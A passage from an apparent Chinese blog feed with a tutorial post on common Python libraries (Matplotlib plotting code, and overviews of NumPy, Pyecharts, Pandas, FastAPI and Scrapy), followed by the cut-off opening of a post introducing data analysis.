    <content type="html"><![CDATA[<h1 style="text-align:center;font-family:FZZhiYi-M12S;font-weight:700;">Python常见库</h1><h2 id="Matplotlib">Matplotlib</h2><p><strong>可视化视图都有哪些？</strong></p><p>按照数据之间的关系，我们可以把可视化视图划分为4类，它们分别是比较、联系、构成和分布。我来简单介绍下这四种关系的特点：</p><ol><li>比较：比较数据间各类别的关系，或者是它们随着时间的变化趋势，比如折线图；</li><li>联系：查看两个或两个以上变量之间的关系，比如散点图；</li><li>构成：每个部分占整体的百分比，或者是随着时间的百分比变化，比如饼图；</li><li>分布：关注单个变量，或者多个变量的分布情况，比如直方图。</li></ol><p>同样，按照变量的个数，我们可以把可视化视图划分为单变量分析和多变量分析。</p><p>单变量分析指的是一次只关注一个变量。比如我们只关注“身高”这个变量，来看身高的取值分布，而暂时忽略其他变量。</p><p>多变量分析可以让你在一张图上可以查看两个以上变量的关系。比如“身高”和“年龄”，你可以理解是同一个人的两个参数，这样在同一张图中可以看到每个人的“身高”和“年龄”的取值，从而分析出来这两个变量之间是否存在某种联系。</p><p>可视化的视图可以说是分门别类，多种多样，今天我主要介绍常用的10种视图，这些视图包括了散点图、折线图、直方图、条形图、箱线图、饼图、热力图、蜘蛛图、二元变量分布和成对关系。</p><p><img src="https://img.alexation.cn/blog/post/python/lib/1.png" alt=""></p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> matplotlib<span class="token punctuation">.</span>pyplot <span class="token keyword">as</span> plt<span class="token comment"># 0.准备数据</span>x <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">,</span> <span class="token number">7</span><span class="token punctuation">]</span>y_shanghai <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">17</span><span class="token punctuation">,</span> <span class="token number">17</span><span class="token punctuation">,</span> <span class="token number">18</span><span class="token punctuation">,</span> <span class="token number">15</span><span class="token punctuation">,</span> <span class="token number">11</span><span class="token punctuation">,</span> <span class="token number">11</span><span class="token punctuation">,</span> <span class="token number">13</span><span class="token punctuation">]</span><span class="token comment"># 1.创建画布</span><span class="token comment"># figsize:指定图的长宽</span><span class="token comment"># dpi:图像的清晰度</span><span class="token comment"># 返回fig对象</span>plt<span class="token punctuation">.</span>figure<span class="token punctuation">(</span>figsize<span class="token operator">=</span><span class="token punctuation">(</span><span class="token number">20</span><span class="token punctuation">,</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">,</span> dpi<span class="token operator">=</span><span class="token number">100</span><span class="token punctuation">)</span><span class="token comment"># 2.绘制图像</span>plt<span class="token punctuation">.</span>plot<span class="token punctuation">(</span>x<span class="token punctuation">,</span> y_shanghai<span class="token punctuation">)</span><span class="token comment"># 3.图像显示</span>plt<span class="token punctuation">.</span>show<span class="token punctuation">(</span><span class="token punctuation">)</span></code></pre><p>添加自定义x,y刻度</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token comment"># 增加以下两行代码</span><span class="token comment"># 2.1 添加x,y轴刻度</span><span class="token comment"># 设置x,y轴刻度</span>x_ticks_label <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"11点&#123;&#125;分"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span> <span class="token keyword">for</span> i <span class="token keyword">in</span> x<span class="token punctuation">]</span>y_ticks <span class="token operator">=</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">40</span><span class="token punctuation">)</span><span class="token comment"># 修改x,y轴坐标刻度显示</span><span class="token comment"># plt.xticks(x_ticks_label[::5]) # 坐标刻度不可以直接通过字符串进行修改</span>plt<span class="token punctuation">.</span>xticks<span class="token punctuation">(</span>x<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">,</span> x_ticks_label<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">)</span>plt<span class="token punctuation">.</span>yticks<span class="token punctuation">(</span>y_ticks<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">)</span></code></pre><p>添加网格显示</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token comment"># 2.2 添加网格显示</span>plt<span class="token punctuation">.</span>grid<span class="token punctuation">(</span><span class="token boolean">True</span><span class="token punctuation">,</span> linestyle<span class="token operator">=</span><span class="token string">"--"</span><span class="token punctuation">,</span> alpha<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">)</span></code></pre><p>添加x轴、y轴描述信息及标题</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token comment"># 2.3 添加描述信息</span>plt<span class="token punctuation">.</span>xlabel<span class="token punctuation">(</span><span class="token string">"时间"</span><span class="token punctuation">)</span>plt<span class="token punctuation">.</span>ylabel<span class="token punctuation">(</span><span class="token string">"温度"</span><span class="token punctuation">)</span>plt<span class="token punctuation">.</span>title<span class="token punctuation">(</span><span class="token string">"中午11点-12点某城市温度变化图"</span><span class="token punctuation">,</span> fontsize<span class="token operator">=</span><span class="token number">20</span><span class="token punctuation">)</span></code></pre><p>绘制多个图像</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token comment"># 增加北京的温度数据</span>y_beijing <span class="token operator">=</span> <span class="token punctuation">[</span>random<span class="token punctuation">.</span>uniform<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span> <span class="token keyword">for</span> i <span class="token keyword">in</span> x<span class="token punctuation">]</span><span class="token comment"># 2.绘制图像</span>plt<span class="token punctuation">.</span>plot<span class="token punctuation">(</span>x<span class="token punctuation">,</span> y_shanghai<span class="token punctuation">,</span> label<span class="token operator">=</span><span class="token string">"上海"</span><span class="token punctuation">)</span>plt<span class="token punctuation">.</span>plot<span class="token punctuation">(</span>x<span class="token punctuation">,</span> y_beijing<span class="token punctuation">,</span> color<span class="token operator">=</span><span class="token string">"r"</span><span class="token punctuation">,</span> linestyle<span class="token operator">=</span><span class="token string">"--"</span><span class="token punctuation">,</span> label<span class="token operator">=</span><span class="token string">"北京"</span><span class="token punctuation">)</span>  <span class="token comment"># 新增绘制北京的数据</span></code></pre><p>显示图例</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token comment"># 绘制折线图</span>plt<span class="token punctuation">.</span>plot<span class="token punctuation">(</span>x<span class="token punctuation">,</span> y_shanghai<span class="token punctuation">,</span> label<span class="token operator">=</span><span class="token string">"上海"</span><span class="token punctuation">)</span><span class="token comment"># 使用多次plot可以画多个折线</span>plt<span class="token punctuation">.</span>plot<span class="token punctuation">(</span>x<span class="token punctuation">,</span> y_beijing<span class="token punctuation">,</span> color<span class="token operator">=</span><span class="token string">'r'</span><span class="token punctuation">,</span> linestyle<span class="token operator">=</span><span class="token string">'--'</span><span class="token punctuation">,</span> label<span class="token operator">=</span><span class="token string">"北京"</span><span class="token punctuation">)</span><span class="token comment"># 显示图例</span>plt<span class="token punctuation">.</span>legend<span class="token punctuation">(</span>loc<span class="token operator">=</span><span class="token string">"best"</span><span class="token punctuation">)</span></code></pre><p>多个坐标系显示</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token comment"># 0.准备数据</span>x <span class="token operator">=</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">60</span><span class="token punctuation">)</span>y_shanghai <span class="token operator">=</span> <span class="token punctuation">[</span>random<span class="token punctuation">.</span>uniform<span class="token punctuation">(</span><span class="token number">15</span><span class="token punctuation">,</span> <span class="token number">18</span><span class="token punctuation">)</span> <span class="token keyword">for</span> i <span class="token keyword">in</span> x<span class="token punctuation">]</span>y_beijing <span class="token operator">=</span> <span class="token punctuation">[</span>random<span class="token punctuation">.</span>uniform<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span> <span class="token keyword">for</span> i <span class="token keyword">in</span> x<span class="token punctuation">]</span><span class="token comment"># 1.创建画布</span><span class="token comment"># plt.figure(figsize=(20, 8), dpi=100)</span>fig<span class="token punctuation">,</span> axes <span class="token operator">=</span> plt<span class="token punctuation">.</span>subplots<span class="token punctuation">(</span>nrows<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">,</span> ncols<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">,</span> figsize<span class="token operator">=</span><span class="token punctuation">(</span><span class="token number">20</span><span class="token punctuation">,</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">,</span> dpi<span class="token operator">=</span><span class="token number">100</span><span class="token punctuation">)</span><span class="token comment"># 2.绘制图像</span><span class="token comment"># plt.plot(x, y_shanghai, label="上海")</span><span class="token comment"># plt.plot(x, y_beijing, color="r", linestyle="--", label="北京")</span>axes<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>plot<span class="token punctuation">(</span>x<span class="token punctuation">,</span> y_shanghai<span class="token punctuation">,</span> label<span class="token operator">=</span><span class="token string">"上海"</span><span class="token punctuation">)</span>axes<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>plot<span class="token punctuation">(</span>x<span class="token punctuation">,</span> y_beijing<span class="token punctuation">,</span> color<span class="token operator">=</span><span class="token string">"r"</span><span class="token punctuation">,</span> linestyle<span class="token operator">=</span><span class="token string">"--"</span><span class="token punctuation">,</span> label<span class="token operator">=</span><span class="token string">"北京"</span><span class="token punctuation">)</span><span class="token comment"># 2.1 添加x,y轴刻度</span><span class="token comment"># 构造x,y轴刻度标签</span>x_ticks_label <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"11点&#123;&#125;分"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span> <span class="token keyword">for</span> i <span class="token keyword">in</span> x<span class="token punctuation">]</span>y_ticks <span class="token operator">=</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">40</span><span class="token punctuation">)</span><span class="token comment"># 刻度显示</span><span class="token comment"># plt.xticks(x[::5], x_ticks_label[::5])</span><span class="token comment"># plt.yticks(y_ticks[::5])</span>axes<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>set_xticks<span class="token punctuation">(</span>x<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">)</span>axes<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>set_yticks<span class="token punctuation">(</span>y_ticks<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">)</span>axes<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>set_xticklabels<span class="token punctuation">(</span>x_ticks_label<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">)</span>axes<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>set_xticks<span class="token punctuation">(</span>x<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">)</span>axes<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>set_yticks<span class="token punctuation">(</span>y_ticks<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">)</span>axes<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>set_xticklabels<span class="token punctuation">(</span>x_ticks_label<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token comment"># 2.2 添加网格显示</span><span class="token comment"># plt.grid(True, linestyle="--", alpha=0.5)</span>axes<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>grid<span class="token punctuation">(</span><span class="token boolean">True</span><span class="token punctuation">,</span> linestyle<span class="token operator">=</span><span class="token string">"--"</span><span class="token punctuation">,</span> alpha<span class="token operator">=</span><span class="token number">0.5</span><span class="token punctuation">)</span>axes<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>grid<span class="token punctuation">(</span><span class="token boolean">True</span><span class="token punctuation">,</span> linestyle<span class="token operator">=</span><span class="token string">"--"</span><span class="token punctuation">,</span> alpha<span class="token operator">=</span><span class="token number">0.5</span><span class="token punctuation">)</span><span class="token comment"># 2.3 添加描述信息</span><span class="token comment"># plt.xlabel("时间")</span><span class="token comment"># plt.ylabel("温度")</span><span class="token comment"># plt.title("中午11点--12点某城市温度变化图", fontsize=20)</span>axes<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>set_xlabel<span class="token punctuation">(</span><span class="token string">"时间"</span><span class="token punctuation">)</span>axes<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>set_ylabel<span class="token punctuation">(</span><span class="token string">"温度"</span><span class="token punctuation">)</span>axes<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>set_title<span class="token punctuation">(</span><span class="token string">"中午11点--12点某城市温度变化图"</span><span class="token punctuation">,</span> fontsize<span class="token operator">=</span><span class="token number">20</span><span class="token punctuation">)</span>axes<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>set_xlabel<span class="token punctuation">(</span><span class="token string">"时间"</span><span class="token punctuation">)</span>axes<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>set_ylabel<span class="token punctuation">(</span><span class="token string">"温度"</span><span class="token punctuation">)</span>axes<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>set_title<span class="token punctuation">(</span><span class="token string">"中午11点--12点某城市温度变化图"</span><span class="token punctuation">,</span> fontsize<span class="token operator">=</span><span class="token number">20</span><span class="token punctuation">)</span><span class="token comment"># # 2.4 图像保存</span>plt<span class="token punctuation">.</span>savefig<span class="token punctuation">(</span><span class="token string">"./test.png"</span><span class="token punctuation">)</span><span class="token comment"># # 2.5 添加图例</span><span class="token comment"># plt.legend(loc=0)</span>axes<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>legend<span class="token punctuation">(</span>loc<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">)</span>axes<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>legend<span class="token punctuation">(</span>loc<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token comment"># 3.图像显示</span>plt<span class="token punctuation">.</span>show<span class="token punctuation">(</span><span class="token punctuation">)</span></code></pre><p><strong>小结</strong></p><ul><li>添加x,y轴刻度【知道】<ul><li>plt.xticks()</li><li>plt.yticks()</li><li><strong>注意:在传递进去的第一个参数必须是数字,不能是字符串,如果是字符串吗,需要进行替换操作</strong></li></ul></li><li>添加网格显示【知道】<ul><li>plt.grid(linestyle=“–”, alpha=0.5)</li></ul></li><li>添加描述信息【知道】<ul><li>plt.xlabel()</li><li>plt.ylabel()</li><li>plt.title()</li></ul></li><li>图像保存【知道】<ul><li>plt.savefig(“路径”)</li></ul></li><li>多次plot【了解】<ul><li>直接进行添加就OK</li></ul></li><li>显示图例【知道】<ul><li>plt.legend(loc=“best”)</li><li><strong>注意:一定要在plt.plot()里面设置一个label,如果不设置,没法显示</strong></li></ul></li><li>多个坐标系显示【了解】<ul><li>plt.subplots(nrows=, ncols=)</li></ul></li><li>折线图的应用【知道】<ul><li>1.应用于观察数据的变化</li><li>2.可是画出一些数学函数图像</li></ul></li></ul><p><strong>附录：中文显示问题</strong></p><p>在Python脚本中动态设置matplotlibrc,这样也可以避免由于更改配置文件而造成的麻烦，具体代码如下：</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> matplotlib<span class="token punctuation">.</span>pyplot <span class="token keyword">as</span> plt<span class="token comment"># 设置显示中文字体</span>plt<span class="token punctuation">.</span>rcParams<span class="token punctuation">[</span><span class="token string">'font.sans-serif'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'SimHei'</span><span class="token punctuation">]</span> <span class="token comment"># 指定默认字体</span></code></pre><p>有时候，字体更改后，会导致坐标轴中的部分字符无法正常显示，此时需要更改axes.unicode_minus参数：</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token comment"># 设置正常显示符号</span>plt<span class="token punctuation">.</span>rcParams<span class="token punctuation">[</span><span class="token string">'axes.unicode_minus'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token boolean">False</span> </code></pre><h2 id="Numpy">Numpy</h2><p><code>NumPy</code>是一个功能强大的<code>Python</code>库，主要用于对多维数组执行计算。<code>NumPy</code>这个词来源于两个单词-- <code>Numerical</code>和<code>Python</code>。<code>NumPy</code>提供了大量的库函数和操作，可以帮助程序员轻松地进行数值计算。在数据分析和机器学习领域被广泛使用。他有以下几个特点：</p><ol><li>Numpy内置了并行运算功能，当系统有多个核心时，做某种计算时，numpy会自动做并行计算。</li><li>Numpy底层使用C语言编写，内部解除了GIL（全局解释器锁），其对数组的操作速度不受Python解释器的限制，效率远高于纯Python代码。</li><li>实用的线性代数、傅里叶变换和随机数生成函数。</li></ol><p>总而言之，Numpy一个非常高效的用于处理数值型运算的包。</p><h2 id="Pyecharts">Pyecharts</h2><p>pyecharts 是一个用于生成 Echarts 图表的类库。Echarts 是百度开源的一个数据可视化 JS 库。用 Echarts 生成的图可视化效果非常棒，pyecharts 是为了与 Python 进行对接，方便在 Python 中直接使用数据生成图。</p><p><strong>基本使用</strong></p><p><a href="https://05x-docs.pyecharts.org/#/zh-cn/prepare">渲染图表</a> | <a href="https://05x-docs.pyecharts.org/#/zh-cn/charts_configure">图表配置</a> | <a href="https://05x-docs.pyecharts.org/#/zh-cn/charts_base">基本图表</a> | <a href="https://05x-docs.pyecharts.org/#/zh-cn/charts_custom">自定义图表</a> | <a href="https://05x-docs.pyecharts.org/#/zh-cn/data_import">数据解析与导入</a></p><p><strong>高级话题</strong></p><p><a href="https://05x-docs.pyecharts.org/#/zh-cn/api">图表 API</a> | <a href="https://05x-docs.pyecharts.org/#/zh-cn/customize_map">自定义地图</a> | <a href="https://05x-docs.pyecharts.org/#/zh-cn/advanced">回调函数和事件处理</a> | <a href="https://05x-docs.pyecharts.org/#/zh-cn/translator">语言翻译扩展</a></p><p><strong>平台支持</strong></p><p><a href="https://05x-docs.pyecharts.org/#/zh-cn/jupyter_notebook">Jupyter Notebook/nteract</a> | <a href="https://05x-docs.pyecharts.org/#/zh-cn/flask">Flask</a> | <a href="https://05x-docs.pyecharts.org/#/zh-cn/django">Django</a> | <a href="https://05x-docs.pyecharts.org/#/zh-cn/web_integration">web 框架整合</a></p><p><strong>其他资源</strong></p><p><a href="https://github.com/pyecharts/pyecharts-users-cases">示例项目</a> | <a href="https://05x-docs.pyecharts.org/#/zh-cn/datasets">地理地图数据</a></p><p><strong>项目发布</strong></p><p><a href="https://05x-docs.pyecharts.org/#/zh-cn/changelog">版本日志</a> | <a href="https://05x-docs.pyecharts.org/#/zh-cn/release-note/">里程碑</a></p><p><strong>项目开发</strong></p><p><a href="https://05x-docs.pyecharts.org/#/zh-cn/technical">技术文档</a> | <a href="https://05x-docs.pyecharts.org/#/zh-cn/team">开发团队</a> | <a href="https://05x-docs.pyecharts.org/#/zh-cn/donors">赞助者名单</a> | <a href="https://05x-docs.pyecharts.org/#/zh-cn/faq">FAQ</a></p><h2 id="Pandas">Pandas</h2><p><code>Pandas</code>是一个开源的，BSD许可的库，为<a href="https://www.python.org/">Pythonopen in new window</a>编程语言提供高性能，易于使用的数据结构和数据分析工具。</p><p><code>Pandas</code>是<a href="https://www.numfocus.org/open-source-projects.html">NumFOCUSopen in new window</a>赞助的项目。这将有助于确保Pandas成为世界级开源项目的成功，并有可能<a href="https://pandas.pydata.org/donate.html">捐赠open in new window</a>给该项目。</p><p><strong>Pandas 是 Python 语言的一个扩展程序库，用于数据分析。</strong></p><p>Pandas 名字衍生自术语 “panel data”（面板数据）和 “<strong>Python data analysis</strong>”（Python 数据分析）。</p><p>Pandas 是一个开放源码、BSD 许可的库，提供高性能、易于使用的数据结构和数据分析工具。</p><p>Pandas 一个强大的分析结构化数据的工具集，基础是 <a href="https://www.runoob.com/numpy/numpy-tutorial.html">Numpy</a>（提供高性能的矩阵运算）。</p><p>Pandas 可以从各种文件格式比如 CSV、JSON、SQL、Microsoft Excel 导入数据。</p><p>Pandas 可以对各种数据进行运算操作，比如归并、再成形、选择，还有数据清洗和数据加工特征。</p><h2 id="FastAPI">FastAPI</h2><p>FastAPI 是一个用于构建 API 的现代、快速（高性能）的 web 框架，使用 Python 3.6+ 并基于标准的 Python 类型提示。</p><p>关键特性:</p><ul><li><strong>快速</strong>：可与 <strong>NodeJS</strong> 和 <strong>Go</strong> 比肩的极高性能（归功于 Starlette 和 Pydantic）。<a href="https://fastapi.tiangolo.com/zh/#_11">最快的 Python web 框架之一</a>。</li><li><strong>高效编码</strong>：提高功能开发速度约 200％ 至 300％。*</li><li><strong>更少 bug</strong>：减少约 40％ 的人为（开发者）导致错误。*</li><li><strong>智能</strong>：极佳的编辑器支持。处处皆可自动补全，减少调试时间。</li><li><strong>简单</strong>：设计的易于使用和学习，阅读文档的时间更短。</li><li><strong>简短</strong>：使代码重复最小化。通过不同的参数声明实现丰富功能。bug 更少。</li><li><strong>健壮</strong>：生产可用级别的代码。还有自动生成的交互式文档。</li><li><strong>标准化</strong>：基于（并完全兼容）API 的相关开放标准：<a href="https://github.com/OAI/OpenAPI-Specification">OpenAPI</a> (以前被称为 Swagger) 和 <a href="https://json-schema.org/">JSON Schema</a>。</li></ul><p>* 根据对某个构建线上应用的内部开发团队所进行的测试估算得出。</p><p>上一次的全栈项目自动安全上报后端启用的是flask，这次让我们来拥抱FastAPI！</p><p>官网文档：<a href="https://fastapi.tiangolo.com/zh/">FastAPI (tiangolo.com)</a></p><h2 id="Scrapy">Scrapy</h2><p>Scrapy是用纯python实现一个爬取网站数据、提取结构性数据而编写的应用框架，用途非常广泛。Scrapy使用了Twisted异步网络框架，可以加快我们的下载速度。</p><p>异步：调用在发出之后，这个调用就直接返回，不管有无结果</p><p>非阻塞：关注的是程序在等待结果时的状态，不能立刻得到结果之前，该调用不会阻塞当前线程</p><h3 id="scrapy框架">scrapy框架</h3><p><img src="https://img.alexation.cn/blog/post/python/lib/2.png" alt=""></p><ul><li>scrapy Engine(引擎)：总指挥:负责数据和信号的在不同模块间的传递，scrapy已经实现</li><li>scheduler(调度器)：一个队列，存放引擎发过来的request请求，scrapy已经实现</li><li>Downloader (下载器)：下载把引擎发过来的requests请求，并返回给引擎，scrapy已经实现</li><li>Spider (爬虫)：处理引擎发来来的response，提取数据，提取url，并交给引擎，需要手写</li><li>Item Pipeline(管道)：处理引擎传过来的数据，比如存储，需要手写</li><li>Downloader Middlewares(下载中间件)：可以自定义的下载扩展，比如设置代理，一般不用手写</li><li>Spider MiddlewaresSpider(中间件)：可以自定义requests请求和进行response过滤，一般不用手写</li></ul><h3 id="创建Spider">创建Spider</h3><ol><li>创建一个scrapy项目——scrapy startproject myspider</li><li>生成一个爬虫——scrapy genspider xxxx “<a href="http://xxxx.cn">xxxx.cn</a>”</li><li>提取数据——完善spider，使用xpath等方法</li><li>保存数据——pipeline中保存数据</li></ol><p>定义多个pipeline，例如先处理数据再存储数据，例如不同的域名要进行不同的提取，但要注意process_item名称不能变，其形参（spider）<a href="http://xn--spider-2x8i375aqy9kyxa.name">可以通过spider.name</a> == &quot;itcast&quot;进行判断操作。</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token comment"># logging：不同等级的日志，保存到本地，</span><span class="token keyword">import</span> logging<span class="token comment"># 获取当前日志输出位置</span>logger <span class="token operator">=</span> logging<span class="token punctuation">.</span>getLogger<span class="token punctuation">(</span>__name__<span class="token punctuation">)</span><span class="token comment"># setting可以设置LOG_FILE = './log.log'保存到本地</span>logger<span class="token punctuation">.</span>warning<span class="token punctuation">(</span>item<span class="token punctuation">)</span></code></pre><p>scrapy</p><ul><li>settings中设置LOG_LEVEL=“WARNING”</li><li>settings中设置LOG_FILE=“./a.log”#设置日志保存的位置，设置会后终端不会显示日志内容</li><li>import logging,实例化logger的方式在任何文件中使用logger输出内容。</li></ul><p>普通项目中</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> logging<span class="token comment">#设置日志输出的样式，格式。</span>logging<span class="token punctuation">.</span>basicConfig<span class="token punctuation">(</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">)</span><span class="token comment"># 实例化logger=logging.getLogger(__name__) 在任何py文件中调用logger即可</span></code></pre>]]></content>
    
    
    <summary type="html">Python常用库记录</summary>
    
    
    
    <category term="Python" scheme="https://blog.alexation.cn/categories/Python/"/>
    
    
    <category term="Python" scheme="https://blog.alexation.cn/tags/Python/"/>
    
    <category term="Matplotlib" scheme="https://blog.alexation.cn/tags/Matplotlib/"/>
    
    <category term="Numpy" scheme="https://blog.alexation.cn/tags/Numpy/"/>
    
    <category term="Scrapy" scheme="https://blog.alexation.cn/tags/Scrapy/"/>
    
  </entry>
  
  <entry>
    <title>Python数据分析基本环境</title>
    <link href="https://blog.alexation.cn/python/data/"/>
    <id>https://blog.alexation.cn/python/data/</id>
    <published>2022-06-15T06:13:05.000Z</published>
    <updated>2024-03-29T13:39:09.284Z</updated>
    
    <content type="html"><![CDATA[<h1 style="text-align:center;font-family:FZZhiYi-M12S;font-weight:700;">数据分析基础</h1><h2 id="一、数据分析介绍">一、数据分析介绍</h2><p>当我们谈论数据分析的时候，都在讲些什么呢？</p><p>这里我可以把数据分析分成三个重要的组成部分。</p><ol><li><strong>数据采集</strong>。它是数据分析的原材料，也是最“<strong>接地气</strong>”的部分，因为任何分析都要有数据源。</li><li><strong>数据分析</strong>。就是针对现有的数据，进行专业的技术进行分析，并得到一份分析报告。</li><li><strong>数据可视化</strong>。它可以说是数据领域中万金油的技能，可以让我们直观地了解到数据分析的结果。</li><li><strong>数据挖掘</strong>。它最核心的部分，也是整个商业价值所在。之所以要进行数据分析，就是要找到其中的规律，来指导我们的业务，或者是给领导做出决策提供参考信息。因此<strong>数据挖掘的核心是挖掘数据的商业价值，也就是我们所谈的商业智能BI</strong>。</li></ol><p><img src="https://img.alexation.cn/blog/post/python/data/1.png" alt=""></p><h3 id="1、1-生活中的数据分析">1、1 生活中的数据分析</h3><h4 id="1、1、1-无处不在的数据">1、1、1 无处不在的数据</h4><blockquote><p>生活中存在各式各样的数据，那么基于这些数据，我们又能做哪些分析呢？</p></blockquote><p>最近几年大数据这个词是火的不行，确实随着社会科技水平的提高，我们使用电子设备的时间越来越长，现在数据的增长量真的非常非常快，这些数据来自各个领域，比如：</p><ul><li>社交：微信，微博，知乎，豆瓣什么的</li><li>交通：出租车，公交车等类的数据，比如：滴滴出行</li><li>金融：股票历史交易信息，公司财报，新闻媒体的态度等等</li><li>医疗：在数据收集和存储上还有很长的路要走</li></ul><p><strong>典型的数据分析应用</strong>：</p><ul><li>竞选预测：特朗普和拜登</li><li>拥堵预测：交通出行，地图导航</li><li>信誉评估：信用额度贷款等</li><li>辅助诊断：医疗影像等方面，比如 ：CT图像中的肿瘤</li></ul><h4 id="1、1、2-数据分析的作用">1、1、2 数据分析的作用</h4><p><strong>数据分析是指用适当的统计分析方法对收集来的大量数据进行分析，提取有用信息和形成结论而对数据加以详细研究和概括总结的过程。</strong></p><p>数据分析的目的有多种，概括起来有三种：</p><ul><li>现状分析:告诉你过去发生了什么。     探索型数据分析</li><li>原因分析:告诉你某一现状为什么发生。      验证型数据分析</li><li>预测分析:预测未来会发生什么。                 预测型数据分析</li></ul><h4 id="1、1、3-为什么需要数据分析能力？">1、1、3 